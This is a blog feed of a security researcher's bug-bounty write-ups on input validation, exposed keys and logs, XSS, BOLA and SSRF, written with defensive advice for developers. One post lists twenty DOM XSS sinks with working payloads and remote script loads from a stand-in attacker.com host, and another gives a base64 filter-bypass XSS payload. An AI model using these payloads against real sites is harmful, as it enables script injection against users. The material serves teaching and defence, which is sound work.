DEV Community: Abhinav Singwal

Finding Weak Input Validation in Address Fields

Abhinav Singwal — Sat, 25 Apr 2026 13:20:00 +0000

While testing a web application’s account settings feature, I came across an interesting case related to input validation.

What I Found

The application allowed users to update details such as:

City
State
Name
Phone
Postal Code
Street fields

By intercepting the request and modifying these parameters, I was able to submit arbitrary values like:

Vulnerable@123

The application accepted these values without any validation and stored them successfully. When revisiting the profile page, the same values were reflected exactly as submitted.

Why This Matters

At first glance, this might look like a low impact issue. But weak input validation can lead to:

Data integrity problems
Inconsistent behavior in downstream systems
Potential attack surface if combined with other vulnerabilities

For example, if such inputs are later used in templates, logs, or external integrations, they could introduce unexpected behavior or even security risks.

Technical Observation

No strict server side validation was enforced
Client side controls were easily bypassed
Arbitrary characters and formats were accepted
Data was reflected without normalization

Report Outcome

The issue was marked as:

Informational
Duplicate

Since it did not directly lead to a security impact, it was considered low priority.

Key Takeaways

Never rely only on client side validation
Always enforce strong server side validation
Even low severity issues are worth exploring
Try chaining small issues to uncover real impact

When an API Key Lives in Local Storage: A Subtle but Risky Pattern

Abhinav Singwal — Thu, 23 Apr 2026 11:48:49 +0000

While testing a production web application, I noticed a third-party API key (used for consent and privacy management) stored directly in the browser’s localStorage. It’s a common pattern in modern frontends—but one that can quietly expand your attack surface.

This post breaks down why it matters, how it can be abused in real scenarios, and what both developers and bug hunters should look for.

What Happened

A consent-management service API key was present in localStorage on page load (no authentication required).
Any JavaScript executing in the page context could read it.
The key appeared to be used for client-side interactions with a third-party API.

Why This Is Risky

1) Local Storage Is Not a Secret Store

Anything in localStorage is:

Readable by any script on the page
Persisted across sessions
Exposed to browser extensions and injected scripts

If an attacker lands an XSS—even a low-impact one—they can exfiltrate the key instantly.

2) Keys Enable Backend Interaction

Even if the key is “just for a third-party service,” it may:

Call APIs that mutate state (e.g., consent records)
Access user-related data
Trigger workflows like DSAR operations

3) Low Impact Alone, Higher Impact When Chained

On its own, a single exposed key might look benign. Combined with:

XSS
Misconfigured CORS
Over-permissive API scopes

…it can become a practical exploitation path.

Threat Modeling the Scenario

Attacker prerequisites:

Ability to run JavaScript in the victim’s browser (XSS, malicious extension, supply-chain script)

What they can do:

Read localStorage → extract API key
Replay requests to the third-party API
Attempt to manipulate consent or privacy data (depending on API permissions)

Potential outcomes:

Unauthorized modification of user preferences
Abuse of consent APIs
Compliance and trust issues

How to Verify (For Bug Hunters)

Open the target site.
Open DevTools → Application tab → Local Storage.
Look for keys like:

apiKey, token, auth, clientKey
1. Trace usage:
Search in Sources/Network for where the key is used.
Inspect requests made with the key.
1. Validate impact:
Are there write operations?
Can you call endpoints outside the app?
Are scopes restricted?

Tip: Don’t stop at “key found.” Always try to demonstrate:

What the key can do
Whether it can be abused outside the browser context

Developer Guidance

1) Don’t Store Secrets in the Browser

Treat API keys like credentials.
If it must be used client-side, assume it is public.

2) Use a Backend Proxy

Keep sensitive keys server-side.
Let the frontend call your backend, which then calls the third-party API.

3) Scope and Restrict Keys

Limit permissions to the minimum required.
Bind keys to specific domains/IPs if supported.
Separate read vs write capabilities.

4) Rotate and Monitor

Rotate exposed keys immediately.
Monitor usage patterns for anomalies.

5) Harden the Client

Implement a strict Content Security Policy (CSP).
Reduce third-party script exposure.
Sanitize and validate all inputs to minimize XSS risk.

When Internal Admin Panels and Config Files Are Publicly Accessible

Abhinav Singwal — Sun, 19 Apr 2026 11:03:28 +0000

While exploring a web application, I came across an issue where internal administrative resources and configuration files were accessible over the internet without proper restrictions. At first glance, this might not look critical, but it significantly increases the risk for targeted attacks.

Simple Explanation (For Everyone)

Imagine a building where the control room is supposed to be restricted.
Now imagine that not only is the door visible to everyone, but a document explaining how all the controls inside work is also left outside.

Even if the door is locked, that information alone makes it much easier for someone to break in.

What Was Exposed

An administrative interface path
A sensitive configuration file that should never be publicly accessible
Internal system operations (such as start, stop, add, remove services)
Details about how authentication works

Why This Is Risky

Even without direct access, exposing this kind of information creates a strong foundation for attackers.

1. Information Disclosure
Internal structure, endpoints, and system behavior become visible.

2. Increased Attack Surface
Attackers can directly target sensitive endpoints instead of guessing.

3. Targeted Attacks Become Easier
Knowing the authentication method and internal functions allows more precise attack strategies.

Real-World Risk

If combined with other weaknesses like weak passwords or misconfigurations, this could potentially lead to:

Unauthorized administrative access
Control over application functions
In severe cases, remote code execution

What Should Be Done

Restrict access to sensitive directories (like configuration folders)
Ensure administrative panels are not publicly exposed
Disable access to internal files from the browser
Regularly audit applications for unintended exposures

https://linktr.ee/abhinavsingwal

Finding 100+ Public Log Files & SQL Dumps: What It Taught Me About Security

Abhinav Singwal — Thu, 16 Apr 2026 10:09:27 +0000

While exploring websites for security issues, I came across something interesting over 100 publicly accessible log files and database-related files available online.

At first, it looked like a serious problem. But as I analyzed it further, it turned into an important learning experience about how security issues are evaluated in the real world.

What I Found

Using basic techniques to collect website links, I discovered multiple pages where files were openly accessible without any login.

These files included:

Log files (records of system activity)
Database structure files
Debug and error reports

What Kind of Information Was Visible?

When I checked these files, I found different types of information that should normally stay private:

1. Session Information

Some files contained session IDs, which are used to keep users logged in.

2. Internal Links

There were internal service URLs that show how the system communicates behind the scenes.

3. API Keys and Identifiers

Some entries showed keys and IDs used by applications to connect with services.

4. Personal Information

A few logs included usernames, email addresses, and system-related details.

5. System Details

The files revealed:

Folder paths from computers
Software versions
Internal configurations

6. Debug Information

Some logs showed development-related details like:

Debug ports
Internal code references
Build information

Why This Can Be Risky

Even if this data cannot be directly used to hack a system, it can still help attackers in several ways:

Understand how a system works internally
Identify weak points
Prepare more targeted attacks
Use exposed information for scams or social engineering

The Most Important Lesson

At first, it seemed obvious that this was a major security issue.

But the key question is:

Who made this data public?

There are two possibilities:

The platform accidentally exposed it (a real security issue)
Users uploaded these files themselves (not always a platform issue)

This difference is very important when evaluating security reports.

How This Changed My Thinking

Earlier, I focused mainly on finding sensitive data.

Now I focus on:

Why the data is exposed
Who is responsible
Whether it can actually be misused

What Makes a Strong Security Finding

A strong report is not just about showing data is visible.

It should also explain:

How someone can misuse it
What damage it can cause
What system failed to prevent it

How This Can Be Prevented

From a security perspective, platforms can reduce such risks by:

Restricting uploads of sensitive file types
Scanning files before making them public
Removing private information from logs
Blocking access to internal files
Preventing search engines from indexing sensitive content

bugbounty #cybersecurity #infosec #securityresearch #learning

Input Validation Issue in a User Profile Feature

Abhinav Singwal — Tue, 14 Apr 2026 10:26:59 +0000

While testing a web application as part of my security research, I came across an interesting case related to input validation in a user profile update feature.

This write-up focuses on the technical understanding and learning, while keeping all sensitive details anonymized.

Overview

Most web applications allow users to update profile information such as name, email, or preferences. These fields may look simple, but they are critical from a security perspective.

In this case, I was testing a profile update functionality, specifically the display name field.

Initial Observation

From the frontend, the application appeared to restrict input normally. However, instead of relying only on the UI, I decided to test how the backend handles input.

Using a proxy tool, I intercepted the request responsible for updating user data.

What I Found

By modifying the intercepted request, I was able to send unexpected input in the display name field.

Example payload:

#' + alert(1) + '

After sending the modified request:

The server accepted the input
The response returned a success message
The malicious-looking input was stored in the user profile

Technical Breakdown

Request Manipulation

Original request method was modified to a data update request
JSON body was altered to include crafted input
The modified request was sent directly to the server

Server Behavior

No validation or filtering was applied
The server stored the input as-is
The response confirmed successful update

Why This is Important

Even though this did not immediately lead to script execution, it highlights a lack of proper input validation.

1. Trusting User Input

The server trusted the input without verifying:

Expected format (e.g., only letters for name)
Presence of suspicious patterns

2. Potential Security Risk

If this stored value is later used in:

HTML pages
JavaScript contexts
Logs or admin panels

It could lead to vulnerabilities like:

Cross-Site Scripting (XSS)
UI manipulation
Data corruption

3. Chaining Possibility

Low-impact issues like this can become dangerous when combined with:

Reflected outputs
Admin dashboards
Unsafe rendering contexts

Key Learnings

Always Test Beyond the UI

Frontend restrictions can be bypassed easily. Always test at the request level.

Input Validation is Critical

Applications must validate:

Data type
Length
Allowed characters

Think About Data Flow

Ask:

Where will this data be used next?
Can it be rendered somewhere unsafe?

Small Issues Matter

Even if something is not exploitable now, it can become exploitable later.

Recommendations for Developers

1. Implement Strict Server-Side Validation

Define clear rules for each field:

Names should only allow expected characters
Reject unexpected patterns

2. Sanitize Input Before Storage

Filter or clean data before saving it in the database.

3. Use Context-Aware Output Encoding

Ensure safe rendering in:

HTML
JavaScript
Attributes

4. Avoid Trusting Client-Side Validation

Client-side checks are easily bypassed.

5. Monitor Unusual Inputs

Log and monitor suspicious patterns for early detection.

Real-World Insight

Many real-world vulnerabilities start like this:

Input is accepted without validation
Data is stored
Later used in a different context
Leads to XSS or other attacks

That’s why even simple input handling issues should not be ignored.

Exploring an Unrestricted API Access Issue in a Booking System

Abhinav Singwal — Mon, 13 Apr 2026 09:19:04 +0000

During my recent testing, I came across an interesting case involving a flight booking feature where an API endpoint was accessible without any authentication. This write-up shares the technical details and learnings while keeping the target fully anonymized.

Overview

Modern web applications rely heavily on APIs to fetch and display data. These APIs often power frontend features like search results, filters, and dynamic content.

In this case, I was testing a flight search functionality and observed that the frontend was making requests to a backend API to retrieve flight data.

What I Found

While analyzing the network traffic, I identified an API endpoint responsible for returning flight details such as:

Flight schedules
Ticket pricing
Airline information
Availability

The key observation was that this endpoint:

Did not require authentication
Did not enforce strict access controls
Was directly accessible via a browser or script

Why This Matters

At first glance, this might look like normal functionality. However, from a security and business perspective, it introduces several risks.

1. Data Misuse

Anyone can extract large amounts of proprietary data and reuse it elsewhere.

2. Unauthorized Services

Attackers or competitors could build their own platforms using this data without permission.

3. Revenue Impact

If the data is part of a paid or licensed service, unrestricted access could lead to financial loss.

4. Scraping at Scale

Without rate limiting or authentication, automated tools can collect massive datasets quickly.

Key Learnings

APIs Are Part of the Attack Surface

Security testing should always include API endpoints, not just the UI.

Look for Missing Controls

Even if an API works correctly, check:

Is authentication required?
Are there rate limits?
Is data exposure justified?

Think Beyond Exploitation

Not all issues are about code execution. Some are about data exposure and misuse.

Advice for Developers

1. Implement Proper Access Control

Even for public data, consider:

API keys
Token-based authentication
Scoped access

2. Apply Rate Limiting

Prevent automated abuse by limiting the number of requests per user or IP.

3. Monitor API Usage

Track unusual patterns such as:

High-frequency requests
Large-scale data extraction

4. Restrict Data Exposure

Only return the minimum required data in API responses.

5. Use Anti-Scraping Mechanisms

Consider:

Request fingerprinting
CAPTCHA for suspicious activity

6. Validate Business Logic

Ensure that APIs cannot be abused to bypass intended usage models.

Self XSS Vulnerability in a Rich Text Editor

Abhinav Singwal — Sun, 12 Apr 2026 06:22:22 +0000

During my recent security testing, I identified a Self Cross-Site Scripting (Self-XSS) issue in a web-based ticketing platform. This write-up focuses on the technical details and learning aspects while keeping the target fully anonymized.

What is the Issue

The application uses a rich text editor for user input, commonly found in ticket systems, comment sections, and dashboards.

While testing the editor features, I discovered that the insert link functionality was not properly handling certain types of input. This allowed crafted payloads to be injected and executed in the browser.

Root Cause

The core issue lies in improper handling of user-controlled input inside the editor.

Specifically:

The URL field in the insert link feature accepted complex input
The input was not fully sanitized before being processed
The editor allowed rendering of embedded HTML through data URIs

This created a situation where browser-executable content could be introduced.

Technical Breakdown

Payload Used

<object data='data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMSk+'></object>

What this does

data:text/html;base64,... allows embedding HTML content directly
The Base64 string decodes to an SVG element with an onload event
When rendered, the browser executes JavaScript

This is a common technique to bypass basic filters that only block <script> tags.

Execution Flow

User opens the editor
Clicks on insert link option
Enters crafted payload in URL field
Saves the content
When the content is rendered:

The object tag loads the data URI
The embedded SVG executes JavaScript via onload

Observed Behavior

JavaScript executed successfully in the browser
The execution was restricted to the same user session
The payload did not impact other users or administrators

Why It is Self XSS

This case was classified as Self-XSS because:

The attack requires the user to inject the payload themselves
No automatic execution for other users
No cross-user data exposure
No privilege escalation

From a risk perspective, this is considered low impact in most bug bounty programs.

Why It Still Matters

Even though this is labeled as low severity, it is still important from a security standpoint.

1. Indicator of Weak Input Handling

It shows that the application does not fully sanitize complex inputs.

2. Potential for Chaining

If combined with other issues like:

Clickjacking
Social engineering
Stored input reuse

It could lead to more serious exploitation.

3. Editor Attack Surface

Rich text editors are historically prone to XSS-related issues due to their flexibility.

Recommendations for Developers

1. Strict Input Validation

Do not allow raw HTML or dangerous tags in user input fields.

2. Sanitize Editor Output

Use well-tested sanitization libraries to clean content before rendering.

3. Block Dangerous Schemes

Restrict usage of:

data: URIs
javascript: protocols

4. Apply Content Security Policy (CSP)

Limit execution of inline scripts and restrict resource loading.

5. Context-Aware Encoding

Ensure proper encoding based on where the data is rendered.

Key Takeaways

Not all XSS issues are high impact
Understanding context is critical in vulnerability assessment
Rich text editors require deep testing beyond basic payloads
Always think in terms of exploitation possibilities, not just execution

About Me

I am focused on web application security and VAPT.
I am open to remote opportunities and interested in working with startups and small teams where I can contribute and grow.

Advanced DOM XSS Patterns Every Developer Should Know

Abhinav Singwal — Wed, 18 Mar 2026 19:02:54 +0000

If you're serious about finding DOM XSS in modern applications, you need to move beyond “search for innerHTML” and start thinking like a data-flow analyst.

1. Indirect Object Property Injection

let key = location.hash.substring(1);
let obj = { content: key };
document.body.innerHTML = obj.content;

Payload:

#<img src=x onerror=alert(1)>

Why it works:
The input is hidden inside an object, making it easy to miss.

How to think:
Track data even when it's wrapped in objects.

Fix:

document.body.textContent = obj.content;

2. Array Join Injection

let parts = [location.hash, " world"];
document.body.innerHTML = parts.join("");

Payload:

#<svg/onload=alert(1)>

Why it works:
Array operations don’t sanitize input.

Fix:

document.body.textContent = parts.join("");

3. replace() Callback Injection

let result = location.hash.replace(/x/g, () => '<img src=x onerror=alert(1)>');
document.body.innerHTML = result;

Payload:

#xxx

Why it works:
Developer introduces HTML dynamically.

4. Anchor href Injection

element.innerHTML = `<a href="${location.hash}">Click</a>`;

Payloads:

#javascript:alert(1)
#data:text/html,<script>alert(1)</script>

Why it works:
JavaScript URLs execute in browser context.

Fix:

if (!url.startsWith("https://")) return;

5. History API Injection

let page = location.search.split("=")[1];
history.pushState({}, "", page);
document.body.innerHTML = page;

Payload:

?page=<img src=x onerror=alert(1)>

6. Form Action Injection

form.innerHTML = `<form action="${location.hash}"></form>`;

Payload:

#javascript:alert(1)

Impact:
Form submits to attacker-controlled or JS URL.

7. CSS Injection → XSS

element.innerHTML = `<style>${location.hash}</style>`;

Payload:

#body{background:url("javascript:alert(1)")}

Why it works:
Some browsers interpret JS inside CSS.

8. onclick Attribute Injection

element.innerHTML = `<button onclick="${location.hash}">Click</button>`;

Payload:

#alert(1)

9. Dataset → eval Chain

element.innerHTML = `<div data-x="${location.hash}"></div>`;
let value = document.querySelector("div").dataset.x;
eval(value);

Payload:

#alert(1)

Why it works:
Multi-step execution chain.

10. outerHTML Replacement

element.outerHTML = location.hash;

Payload:

#<img src=x onerror=alert(1)>

11. Manual Query Parsing

let q = location.search.split("q=")[1];
document.body.innerHTML = q;

Payload:

?q=<svg/onload=alert(1)>

12. HTML Comment Breakout

element.innerHTML = `<!-- ${location.hash} -->`;

Payload:

#--><img src=x onerror=alert(1)>

Why it works:
Breaks out of comment context.

13. Template Literal Injection

let tpl = `<h1>${location.hash}</h1>`;
element.innerHTML = tpl;

Payload:

#<img src=x onerror=alert(1)>

14. iframe src Injection

iframe.src = location.hash;

Payloads:

#javascript:alert(1)
#data:text/html,<script>alert(1)</script>

15. Error Handling Injection

try {
  throw location.hash;
} catch (e) {
  document.body.innerHTML = e;
}

Payload:

#<img src=x onerror=alert(1)>

16. DOMParser Injection

let parser = new DOMParser();
let doc = parser.parseFromString(location.hash, "text/html");
document.body.appendChild(doc.body);

Payload:

#<img src=x onerror=alert(1)>

17. Dynamic Script Injection

let script = document.createElement("script");
script.src = location.hash;
document.body.appendChild(script);

Payload:

#https://attacker.com/x.js

18. Fetch → DOM Injection

fetch(location.hash)
  .then(res => res.text())
  .then(data => {
    document.body.innerHTML = data;
  });

Payload:

#https://attacker.com/payload.html

19. setTimeout String Execution

setTimeout(location.hash, 1000);

Payload:

#alert(1)

20. window.name Injection

document.body.innerHTML = window.name;

Attack Flow:

window.name = "<img src=x onerror=alert(1)>";
location = "https://target.com";

Final Mental Model

When reviewing JavaScript, always map:

SOURCE → TRANSFORMATION → SINK

Where:

Source = location, storage, message, URL
Transformation = decode, replace, parse
Sink = innerHTML, eval, script, attributes

Payload Strategy

Don’t rely on one payload. Rotate between:

<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
javascript:alert(1)
data:text/html,<script>alert(1)</script>
" onmouseover=alert(1) x="

Understanding Vertical BOLA in APIs

Abhinav Singwal — Mon, 09 Mar 2026 11:07:40 +0000

When learning API penetration testing, one of the most dangerous vulnerabilities you will encounter is Vertical BOLA.

It is responsible for many critical bug bounty reports and real-world data breaches.

In this article, we will break down what Vertical BOLA is, why it happens, and how security researchers can test for it.

What is Vertical BOLA?

Vertical BOLA happens when a normal user is able to access functionality or data that should only be available to higher-privileged roles such as administrators.

In simple terms:

A user is authenticated, but the API does not properly verify whether that user should be allowed to perform a privileged action.

This leads to privilege escalation.

Horizontal vs Vertical BOLA

Understanding the difference is important.

Horizontal BOLA

User accesses another user's data.

Example:

GET /api/users/102

User 101 changes the ID to 102 and accesses another user's profile.

Vertical BOLA

User accesses admin-level functionality.

Example:

GET /api/admin/users

If a normal user token can access this endpoint, it is a Vertical BOLA vulnerability.

Why Vertical BOLA Happens

Most developers correctly implement authentication, but forget to enforce authorization checks.

Common mistakes include:

Only checking if the user is logged in
Trusting frontend restrictions
Missing role validation in backend APIs
Reusing internal admin endpoints for public APIs
Incorrect middleware configuration

Because APIs are often used by web, mobile, and internal tools, some endpoints accidentally become exposed.

Real-World Example

Imagine a normal user sends this request:

GET /api/admin/users
Authorization: Bearer user_token

Response:

[
  {
    "id": 1,
    "email": "admin@company.com",
    "role": "admin"
  }
]

This means the API failed to verify that the user is not an administrator.

This is a critical vulnerability.

Common Vertical BOLA Patterns

Security researchers often find Vertical BOLA in the following areas.

1. Admin Endpoints

Look for endpoints like:

/api/admin/users
/api/admin/settings
/api/admin/reports

If they work with a normal user token, there is a problem.

2. Role Manipulation in Requests

Sometimes APIs trust user input.

Example request:

{
  "role": "admin"
}

If the backend accepts this, the attacker may gain admin privileges.

3. Organization-Level Access

Many SaaS platforms separate customers by organization or tenant.

Example:

GET /api/org/1234/users

If a user from organization 5678 can access 1234, this becomes a serious data breach.

4. Export and Reporting APIs

Admin dashboards often include powerful endpoints:

GET /api/export/users
GET /api/export/transactions
GET /api/export/reports

These endpoints sometimes lack proper role checks.

How to Test for Vertical BOLA

A simple testing workflow:

Create a normal user account
Intercept requests using a proxy
Look for:

Admin routes in JavaScript files
Hidden API endpoints
Internal APIs used by dashboards
1. Replay these requests using the normal user token
2. Observe responses for unauthorized data access

Always compare:

Status codes
Response data
Accessible actions

Potential Impact

Vertical BOLA can lead to:

Viewing all users' personal information
Changing user roles
Accessing financial reports
Deleting accounts
Resetting passwords
Full system compromise

In bug bounty programs, this is usually classified as Critical severity.

Why APIs Are Especially Vulnerable

APIs expose direct backend functionality, which means:

Frontend restrictions can be bypassed
Attackers interact directly with backend logic
Authorization checks must be implemented on every endpoint

Even one missing check can expose the entire system.

How Developers Can Prevent Vertical BOLA

Secure APIs should always:

Enforce role-based access control (RBAC) on the server
Validate permissions for every request
Avoid trusting client-supplied roles
Use centralized authorization middleware
Perform object-level permission checks

Security should never depend on frontend controls.

Why Most Website Data Leaks Happen Even When Login Is Working

Abhinav Singwal — Mon, 23 Feb 2026 07:59:16 +0000

If you own a website, SaaS product, or mobile app, you probably believe:

“We have login. So our data is secure.”

Unfortunately… that’s not how most real-world data leaks happen.

Today, the biggest security issue in modern applications is not broken login.

It’s broken data access control.

Let me explain this in simple terms.

🏛️ The Old Problem: Classic IDOR

In older websites, you might see something like:

yourwebsite.com/invoice?id=123

If someone changed 123 to 124 and suddenly saw another customer’s invoice…

That’s called IDOR (Insecure Direct Object Reference).

The system checked:

✔️ “Is this person logged in?”
But did NOT check:
❌ “Does this invoice belong to this person?”

This caused many early data leaks.

🚀 The Modern Problem: API BOLA

Today, your website probably uses:

Mobile apps
Single-page apps (React, Vue, etc.)
APIs in the background
JSON responses
Tokens (JWT)

Now the invoice link is no longer visible in the browser.

Instead, your app secretly calls something like:

GET /api/v2/invoices/8f9a-77cd-992a

Developers often think:

“We use random IDs (UUID). So it's secure.”

But here’s the truth:

If your system checks:
✔️ “Is user logged in?”

But does NOT check:
❌ “Does this specific invoice belong to this specific user?”

Then you still have the same problem.

This is called BOLA — Broken Object Level Authorization.

And it is currently the #1 API security risk globally.

Why This Is Dangerous for Website Owners

Modern applications store sensitive data like:

Customer invoices
Reports
Internal notes
Risk scores
Admin flags
Organization data
Financial records
Health information

If BOLA exists, attackers may:

View other users’ private data
Download reports from other companies
Access internal admin information
Leak entire organization databases

Even worse:

Most of these attacks require no hacking skills — just modifying IDs in API requests.

The Big Misunderstanding

Many founders think:

“We have authentication.”

But authentication only answers:

“Who are you?”

Authorization answers:

“What are you allowed to access?”

Most data leaks happen because:

Login works
But object-level authorization is missing

Classic IDOR vs Modern API BOLA (Simple Comparison)

Classic IDOR	Modern API BOLA
Visible in browser URL	Hidden inside API calls
Numeric IDs	Random-looking IDs
Old websites	Modern SaaS & mobile apps
Easy to notice	Harder to detect
Same root issue	Same root issue

The technology changed.
The mistake did not.

Why This Matters in 2026

Most startups today are:

API-first
Multi-tenant SaaS
Cloud-based
Mobile-integrated

Which means:

One small authorization mistake can expose:

One user’s data
Or an entire organization’s data

And that leads to:

GDPR issues
Legal penalties
Trust damage
Brand loss
Investor concerns

Simple Question Every Website Owner Should Ask

For every piece of data in your system:

“Should this logged-in user be able to see THIS specific data?”

Not:
“Is the user logged in?”

But:
“Does this object belong to them?”

What You Should Do

If you run a SaaS or app:

Audit object-level authorization.
Test using multiple accounts.
Ensure backend validates ownership every time.
Don’t rely on hidden frontend logic.
Get an API security assessment.

Because modern breaches rarely happen due to broken passwords.

They happen because:

The system forgot to check who owns the data.

If you're building or scaling a SaaS product, this is one of the most important security checks you can perform before your growth multiplies your risk.

Security today isn’t about firewalls.

It’s about asking one simple question:

“Should this user really be able to see this?”

Your API Might Be Leaking Customer Data (Even If Login Is Secure)

Abhinav Singwal — Mon, 23 Feb 2026 07:53:27 +0000

Most founders believe:

“Our users must log in. So our data is safe.”

Unfortunately, that’s not always true.

There is a very common security issue in modern applications called Broken Object Level Authorization (BOLA) — and it affects APIs, mobile apps, SaaS platforms, CRMs, fintech dashboards, and more.

And the scary part?

Everything can look completely normal from the frontend.

What Is Actually Happening?

Let’s say your system works like this:

A user logs in
They open their invoice
The system loads data from:

/api/invoices/1122

Now imagine someone changes 1122 to 1123.

If your backend does not verify that the invoice actually belongs to that logged-in user, the system may return another customer’s invoice.

That’s BOLA.

The user is authenticated.
But they are not authorized to access that specific data.

Why This Is So Common in Modern SaaS

Modern applications rely heavily on APIs:

Mobile apps
React / Vue dashboards
Microservices
Third-party integrations

Developers often check:

✔ Is the user logged in?
✔ Is the token valid?

But they forget to check:

Does this specific object belong to this user?

This small missing check can expose:

Customer invoices
Reports
Internal flags
Risk scores
Organization-level analytics
Personal data (PII)

A Realistic Example

Imagine your SaaS product supports multiple companies.

The API endpoint looks like:

/api/organizations/88372/reports

If a logged-in user changes 88372 to another organization’s ID and your system still returns data…

That’s a cross-tenant data leak.

Now we’re not talking about one user’s data.

We’re talking about one company seeing another company’s private data.

That’s:

Legal risk
Compliance risk
Trust damage
Potential public disclosure

“But We Use UUIDs, So It’s Secure”

Many companies think using random-looking IDs like:

7f3c9b2e-88fa-41d2-a112-9ab33f221abc

makes them safe.

It does not.

If the backend doesn’t verify ownership, a UUID is just a longer number.

Security is not about hiding IDs.

Security is about validating access on every request.

Why This Is Dangerous for Businesses

A BOLA vulnerability can lead to:

Customer PII exposure
Financial data leaks
GDPR or compliance violations
Loss of enterprise clients
Reputation damage
Bug bounty disclosures

And in competitive SaaS markets, trust is everything.

How Companies Can Prevent This

Here’s what every API should enforce:

Every request must validate object ownership.
Never trust IDs coming from the frontend.
Enforce tenant isolation at database level.
Test export/download endpoints separately.
Test mobile APIs, not just web dashboards.
Perform regular API security testing.

Final Thought

Most API breaches don’t happen because someone “hacked the login.”

They happen because:

The system trusted a logged-in user too much.

If your business runs on APIs — and almost every modern product does — object-level authorization must be reviewed carefully.

Because the question isn’t:

“Is the user logged in?”

The real question is:

“Should this user be able to see THIS data?”

How a Simple “Upload by Link” Feature Can Hack Your Own Servers

Abhinav Singwal — Tue, 03 Feb 2026 18:25:18 +0000

Most modern apps let users upload things like:

Profile pictures
PDFs and invoices
Documents
Company logos

And often, instead of uploading a file, the app allows uploading by link.

Example:

“Paste a URL and we’ll fetch the image or PDF for you.”

Sounds harmless, right?
Unfortunately, this small feature has caused serious security breaches in many real companies.

Let’s understand why — in simple terms.

The Hidden Problem Behind “Upload via URL”

When your app accepts a link like:

https://example.com/file.pdf

Your server goes and downloads that file.

That means:

Your server is visiting a website
Your server is making a request
Your server trusts the link provided by the user

Now imagine if the link is not a normal website.

This is where the risk starts.

What Attackers Actually Do (No Technical Details)

Instead of giving a normal website link, an attacker gives a special internal link that:

Points to your own server
Points to your internal tools
Points to your cloud infrastructure

Your server doesn’t realize it’s dangerous — it just follows the instruction.

This is called SSRF (Server-Side Request Forgery), but you don’t need to remember the name.

Just remember this:

Your app is tricked into attacking itself.

Real-World Example (Simple)

Let’s say your app has this feature:

“Import PDF from a link”

An attacker gives a link that secretly points to:

Your internal admin panel
Your database service
Your cloud provider’s secret system

Your server opens it and may accidentally expose:

Passwords
API keys
Internal data
Cloud access credentials

This has happened to real companies, not just theory.

Why This Is So Dangerous

Because:

No login bypass is needed
No password cracking is needed
No malware is uploaded

The attacker just uses a normal app feature.

In many cases, this leads to:

Full server access
Data leaks
Cloud account takeover
Massive financial impact

Common Features Where This Happens

If your app has any of these, pay attention:

Upload image using URL
Import PDF or document from link
Generate PDF from a webpage
Fetch logo during onboarding
Webhooks or callbacks
Any feature where your server “fetches” something

Why Developers Miss This

Because the feature looks safe.

Developers often think:

“We only download images or PDFs. What could go wrong?”

The issue is not the file.
The issue is who your server is trusting.

Simple Advice for Founders & Product Owners

You don’t need to code to reduce this risk.

Just ask your team these questions:

Do we allow users to upload files using links?
Does our server download those links?
Are we blocking internal and private addresses?
Are we validating where the server is allowed to connect?

If the answers are unclear — that’s already a warning sign.

Why This Matters for Startups

Startups move fast.
Security checks often come later.
Attackers know this.

SSRF vulnerabilities are:

Easy to miss
Easy to exploit
Very high impact

Many bug bounty reports and real incidents start exactly like this.

Final Thought

If your server blindly trusts user-provided links,
someone else might control where your server goes.

A small feature can become a big problem.

security #startup #websecurity #api #saas #founders #productmanagement #cybersecurity #devops